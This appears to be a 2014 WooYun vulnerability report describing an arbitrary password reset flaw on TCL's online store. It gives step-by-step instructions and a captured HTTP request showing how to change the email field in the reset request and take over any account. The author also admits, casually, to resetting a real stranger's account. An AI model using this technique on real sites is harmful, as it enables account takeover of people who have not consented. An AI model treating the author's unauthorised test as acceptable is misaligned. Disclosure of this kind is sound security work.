漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-083159
漏洞标题：TCL商城任意用户密码重置漏洞
相关厂商：TCL官方网上商城
漏洞作者： C木苦咖啡
提交时间：2014-11-14 12:27
修复时间：2014-12-29 12:28
公开时间：2014-12-29 12:28
漏洞类型：设计缺陷/逻辑错误
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-11-14： 细节已通知厂商并且等待厂商处理中
2014-11-14： 厂商已经确认，细节仅向厂商公开
2014-11-24： 细节向核心白帽子及相关领域专家公开
2014-12-04： 细节向普通白帽子公开
2014-12-14： 细节向实习白帽子公开
2014-12-29： 细节向公众公开
简要描述：
在wooyun上看公开的漏洞的时候，发现某厂商给的乌币挺豪爽的，于是乎。。。。。
详细说明：
1.注册账号
2.退出登录以后，点击"忘记密码"，输入刚才注册的邮箱，点击"下一步"
3.进邮箱，看到"TCL官网重设密码通知"
4.用burpsuite解包
5.进入邮件点击找回链接
截取到如下数据包
POST /login/ResetPwd.html?auth=6bb5BQAACVYGBABVAQIKUFJQVwVWAlZUWAFSXQgRClxQXlFpREdRDVNaVyUAVwFKVwpZb0RDDVkTVzlNAF4DBlBRBwcJAgpUBgcJVgNQUwUHUABQUVRdAgQKVA1sElMDBAUOAwgFCl4 HTTP/1.1
Host: shop.tcl.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://shop.tcl.com/login/ResetPwd.html?auth=6bb5BQAACVYGBABVAQIKUFJQVwVWAlZUWAFSXQgRClxQXlFpREdRDVNaVyUAVwFKVwpZb0RDDVkTVzlNAF4DBlBRBwcJAgpUBgcJVgNQUwUHUABQUVRdAgQKVA1sElMDBAUOAwgFCl4
Cookie: QIAO_CK_undefined_R=http%3A//mail.163.com/js6/read/readhtml.jsp%3Fssid%3DK%252bWfcRcR0gvYN1aA0E4hJT5xlJswN8WIHlyF5iDMtOI%253d%26mid%3D163%3A1tbioxxD5FD+Xh69VgAAsd%26font%3D15%26color%3D064977; _dmvt_=1.3506751477411154000.1415859083.1415859088.1415864857.3; AUTHENTICATION=6hm9am4v5sgl7kre8bv6914eo5; Hm_lvt_9d2f247c649eb7b58fdb8d49b354fbd2=1415859097,1415859990,1415868544; Hm_lpvt_9d2f247c649eb7b58fdb8d49b354fbd2=1415868544; QIAO_CK_undefined_R=; tma=35223460.84563224.1415859100264.1415859100264.1415859100264.1; tmd=58.35223460.84563224.1415859100264.; baidu_qiao_v3_count_5298882=1; PHPSESSID=dk03u3tphh7t497s4bcerbon93; browse_histroy=d8512d5f82c6916abbca9407e41ca1ea1fbf953es%3A45%3A%22goods%7C%7C100%7C%7C1415860562%2Cgoods%7C%7C757%7C%7C1415859168%22%3B; is_returning=1; bfd_session_id=bfd_g=b56c782bcb75035d00004f4e00004d3754644ba2
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
password=123456&repassword=123456&email=xxxxxxxxx
6.xxxxxx位置修改为要重置账户的邮箱
7.然后点击burpsuite的forward，发送数据
8.登陆对方账号
备注：由于注册的时候，邮箱输入框采用ajax检测邮箱是否注册，随便试了一下，发现存在npc@163.com邮箱，顺便重置了一下密码，罪过，本人无心，希望得到主的宽恕！！！
漏洞证明：
修复方案：
。。。。
版权声明：转载请注明来源 C木苦咖啡@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2014-11-14 14:20
厂商回复：
感谢你的工作，已转交相关单位处理。
最新状态：
暂无